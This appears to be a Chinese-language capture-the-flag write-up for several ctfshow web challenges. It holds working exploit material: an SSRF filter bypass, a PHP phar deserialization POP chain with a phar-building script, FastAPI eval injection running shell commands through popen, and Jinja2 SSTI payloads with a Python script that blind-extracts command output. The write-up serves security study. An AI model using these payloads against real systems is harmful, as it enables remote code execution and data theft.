1024_WEB签到

#签到

error_reporting(0);
highlight_file(__FILE__);
call_user_func($_GET['f']);

动态函数调用，而且是无参数的函数

?f=phpinfo

image-20250330145948122

一开始没什么头绪，就翻了一下php配置，看到里面有一个function

image-20250330150046889

调用这个函数就能拿到flag了

?f=ctfshow_1024

1024_柏拉图

#SSRF+phar反序列化

image-20250329001325077

口子挺多的，先常规转一圈看看,在index.php中有一个url参数，传入1后有回显

难道我不知道你在想什么？除非绕过我？！

提示很明显了，这里可以绕过，可是这里是干什么的呢？根据url参数来看这里应该是获取其他网站的资源用的，猜测存在SSRF，那我们用file协议读取一下本地的文件，看看能不能获取到源码

file协议被过滤了，用双写去绕过

?url=filefile://:///var/www/html/index.php

image-20250330111557025

//index.php
function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    echo curl_exec($ch);
    curl_close($ch);
}
if(isset($_GET['url'])){
    $url = $_GET['url'];
    $bad = 'file://';
    if(preg_match('/dict|127|localhost|sftp|Gopherus|http|\.\.\/|flag|[0-9]/is', $url,$match))
		{
			die('难道我不知道你在想什么？除非绕过我？！');
    }else{
      $url=str_replace($bad,"",$url);
      curl($url);
    }
}

//upload.php
error_reporting(0);
if(isset($_FILES["file"])){
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {

    if (file_exists("upload/" . $_FILES["file"]["name"])){
      echo $_FILES["file"]["name"] . " 文件已经存在啦！";
    }else{
      move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" .$_FILES["file"]["name"]);
      echo "文件存储在: " . "upload/" . $_FILES["file"]["name"];
    }
}else{
      echo "这个文件我不喜欢，我喜欢一个gif的文件";
    }
}

//readfile.php
include('class.php');
function check($filename){  
    if (preg_match("/^phar|^smtp|^dict|^zip|file|etc|root|filter|\.\.\//i",$filename)){
        die("姿势太简单啦，来一点骚的？！");
    }else{
        return 0;
    }
}
if(isset($_GET['filename'])){
    $file=$_GET['filename'];
        if(strstr($file, "flag") || check($file) || strstr($file, "php")) {
            die("这么简单的获得不可能吧？！");
        }
        echo readfile($file);
}

//unlink.php
error_reporting(0);
$file=$_GET['filename'];
function check($file){  
  if (preg_match("/\.\.\//i",$file)){
      die("你想干什么？！");
  }else{
      return $file;
  }
}
if(file_exists("upload/".$file)){
      if(unlink("upload/".check($file))){
          echo "删除".$file."成功！";
      }else{
          echo "删除".$file."失败！";
      }
}else{
    echo '要删除的文件不存在！';
}

一开始以为是打文件上传的后缀名绕过，但是好像这里也打不了上传文件的，看wp发现漏读了文件class.php

//class.php
<?php
error_reporting(0);
class A {
    public $a;
    public function __construct($a)
    {
        $this->a = $a;
    }
    public function __destruct()
    {
        echo "THI IS CTFSHOW".$this->a;
    }
}
class B {
    public $b;
    public function __construct($b)
    {
        $this->b = $b;
    }
    public function __toString()
    {
        return ($this->b)();
    }
}
class C{
    public $c;
    public function __construct($c)
    {
        $this->c = $c;
    }
    public function __invoke()
    {
        return eval($this->c);
    }
}
?>

readfile.php中过滤的比较死，很多伪协议都不能用，但是能用phar协议，然后结合class.php中的内容，猜测是phar反序列化

php一大部分的文件系统函数在通过phar://伪协议解析phar文件时，都会将meta-data进行反序列化，例如这个题目中的readfile函数，那我们先看class.php写poc链

A::__destruct()->B::__toString()->C::__invoke()

exp

//class.php
<?php
error_reporting(0);
class A {
    public $a;
}
class B {
    public $b;
}
class C{
    public $c;
}
$a = new A();
$a->a = new B();
$a->a->b = new C();
$a->a->b->c='phpinfo();';

然后打包phar文件

//class.php
<?php
error_reporting(0);
class A {
    public $a;
}
class B {
    public $b;
}
class C{
    public $c;
}
$a = new A();
$a->a = new B();
$a->a->b = new C();
$a->a->b->c='phpinfo();';
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("1.txt","1");
$phar->stopBuffering();
?>

运行后将生成的phar文件修改后缀为.gif然后伪造MIME类型并上传

image-20250330144002171

image-20250330144145451

在读取文件的页面下

    if (preg_match("/^phar|^smtp|^dict|^zip|file|etc|root|filter|\.\.\//i",$filename)){
        die("姿势太简单啦，来一点骚的？！");

禁用了phar前缀，当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://等绕过

所以我们传参

compress.zlib://phar://upload/phar.gif

image-20250330144443638

成功反序列化并执行，改一下exp的内容然后拿flag就行

image-20250330144709784

1024_fastapi

#SSTI

FastAPI是基于python3.6+和标准python类型的一个现代化的，快速的(高性能),构建api的web框架。

{"hello":"fastapi"}

页面只有这个，目录扫出来三个路径

[15:04:44] 200 -   974B - /docs
[15:04:53] 200 -    1KB - /openapi.json
[15:04:57] 200 -   767B - /redoc

访问openapi.json得到OpenAPI 3.0的自带交互式API文档

{
  "openapi": "3.0.2",
  "info": {
    "title": "FastAPI",
    "version": "0.1.0"
  },
  "paths": {
    "/": {
      "get": {
        "summary": "Hello",
        "operationId": "hello__get",
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {

                }
              }
            }
          }
        }
      }
    },
    "/cccalccc": {
      "post": {
        "summary": "Calc",
        "description": "安全的计算器",
        "operationId": "calc_cccalccc_post",
        "requestBody": {
          "content": {
            "application/x-www-form-urlencoded": {
              "schema": {
                "$ref": "#/components/schemas/Body_calc_cccalccc_post"
              }
            }
          },
          "required": true
        },
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {

                }
              }
            }
          },
          "422": {
            "description": "Validation Error",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "#/components/schemas/HTTPValidationError"
                }
              }
            }
          }
        }
      }
    }
  },
  "components": {
    "schemas": {
      "Body_calc_cccalccc_post": {
        "title": "Body_calc_cccalccc_post",
        "required": [
          "q"
        ],
        "type": "object",
        "properties": {
          "q": {
            "title": "Q",
            "type": "string"
          }
        }
      },
      "HTTPValidationError": {
        "title": "HTTPValidationError",
        "type": "object",
        "properties": {
          "detail": {
            "title": "Detail",
            "type": "array",
            "items": {
              "$ref": "#/components/schemas/ValidationError"
            }
          }
        }
      },
      "ValidationError": {
        "title": "ValidationError",
        "required": [
          "loc",
          "msg",
          "type"
        ],
        "type": "object",
        "properties": {
          "loc": {
            "title": "Location",
            "type": "array",
            "items": {
              "type": "string"
            }
          },
          "msg": {
            "title": "Message",
            "type": "string"
          },
          "type": {
            "title": "Error Type",
            "type": "string"
          }
        }
      }
    }
  }
}

有一个Hello的测试接口和/cccalccc接口，/cccalccc接口是一个安全计算器，里面有一个q参数，了解了一下fastapi得知它具有方便的api文档/redoc和/docs，然后我们访问/docs并进行测试

python的ssti，尝试一下

q=[].__class__		#Internal Server Error

FastAPI 默认用 JSON 返回，但 type 对象不可 JSON 序列化，需要用str()转化

str() 将结果转为字符串 即使 [].__class__ 是 type 对象，str() 会转换为可序列化的字符串 "<class 'list'>"，因此能正常返回。

q=str([].__class__)	#{"res":"<class 'list'>","err":false}
q=str([].__class__.__base__.__subclasses__()[127]) #{"res":"<class 'os._wrap_close'>","err":false}
q=str([].__class__.__base__.__subclasses__()[127].__init__.__globals__['popen'])#{"res":"hack out!","err":false}

估计是不让用popen，用字符串拼接绕过一下

q=str(''.__class__.__base__.__subclasses__()[127].__init__.__globals__['po'+'pen']('ls ').read())#{"res":"main.py\nstart.sh\n","err":false}

读一下main.py

{
  "res": "from typing import Optional\nfrom fastapi import FastAPI,Form\nimport uvicorn\n\napp = FastAPI()\n\n@app.get(\"/\")\ndef hello():\n    return {\"hello\": \"fastapi\"}\n\n@app.post(\"/cccalccc\",description=\"安全的计算器\")\ndef calc(q: Optional[str] = Form(...)):\n    try:\n        hint = \"flag is in /mnt/f1a9,try to read it\"\n        block_list = ['import','open','eval','exec']\n        for keyword in block_list:\n            if keyword in q:\n                return {\"res\": \"hack out!\", \"err\": False}\n        return {\"res\": eval(q), \"err\": False}\n    except:\n        return {\"res\": \"\", \"err\": True}\n\nif __name__ == '__main__':\n    uvicorn.run(app=app, host=\"0.0.0.0\", port=8000, workers=1)\n",
  "err": false
}

有个提示

hint = \"flag is in /mnt/f1a9,try to read it

读flag就行

q=str(''.__class__.__base__.__subclasses__()[127].__init__.__globals__['po'+'pen']('cat /mnt/f1a9').read())

1024_hello_world

#SSTI

image-20250330154638614

post传一个key=1然后页面变成Hello,1!感觉也是ssti啊，测一下

key={{8*8}}#Hello,8*8!
key={8*8}#Hello,{8*8}!

估计是过滤了{{}},用{%%}print去进行绕过

key={%print(1*2)%}#Hello,2!

可以确定存在ssti了

但是尝试后发现过滤了很多东西，需要一些绕过姿势。 过滤了的会报500 Internal Server Error。可以用if语句去测

key={%if ''!=1%}air{%endif%} #500
key={%if ""!=1%}air{%endif%} #Hello,air!
key={%if "".__class__!=1%}air{%endif%}#500
key={%if ""["\x5f\x5fclass\x5f\x5f"]!=1%}air{%endif%}#Hello,air!

下划线用unicode编码去绕过

key={%print(""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]())%}

因为bp里比较难找,并没有直接的注入回显，所以我们需要利用自动化脚本去进行爆破。

import requests

url = "http://44f6bdc3-3899-42b3-8cbf-91151294a663.challenge.ctf.show/"

for i in range(1,200):
    payload = '{%if []["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()['+str(i)+']["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")!=1%}air{%endif%}'
    #payload = "".__class_.__base__.__subclasses__()[?].__init__.__globals__["__builtins__"]["__import__"]("os")
    data = {
        "key" : payload
    }
    r = requests.post(url, data)
    # print(data)
    if "air" in r.text:
        # print(r.text)
        print(i)

运行后输出了64，直接用os模块去打就行

import requests

url = "http://44f6bdc3-3899-42b3-8cbf-91151294a663.challenge.ctf.show/"
# cmd="ls /"
cmd="cat /*f*"

dic = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{-}'
flag = ""
for i in range(0,50):
    for s in dic:
        payload = '{%if ""["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()[64]["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")["\\x5f\\x5fdict\\x5f\\x5f"]["po"+"pen"]("'+ cmd +'")["read"]()['+ str(i) +']=="'+ s +'"%}air{%endif%}'
        data = {"key": payload}
        r = requests.post(url, data)
        # print(data)
        if "air" in r.text:
            print(r.text)
            flag += s
            print(flag)
    if '}' in flag:
        break

print(flag)

1024_图片代理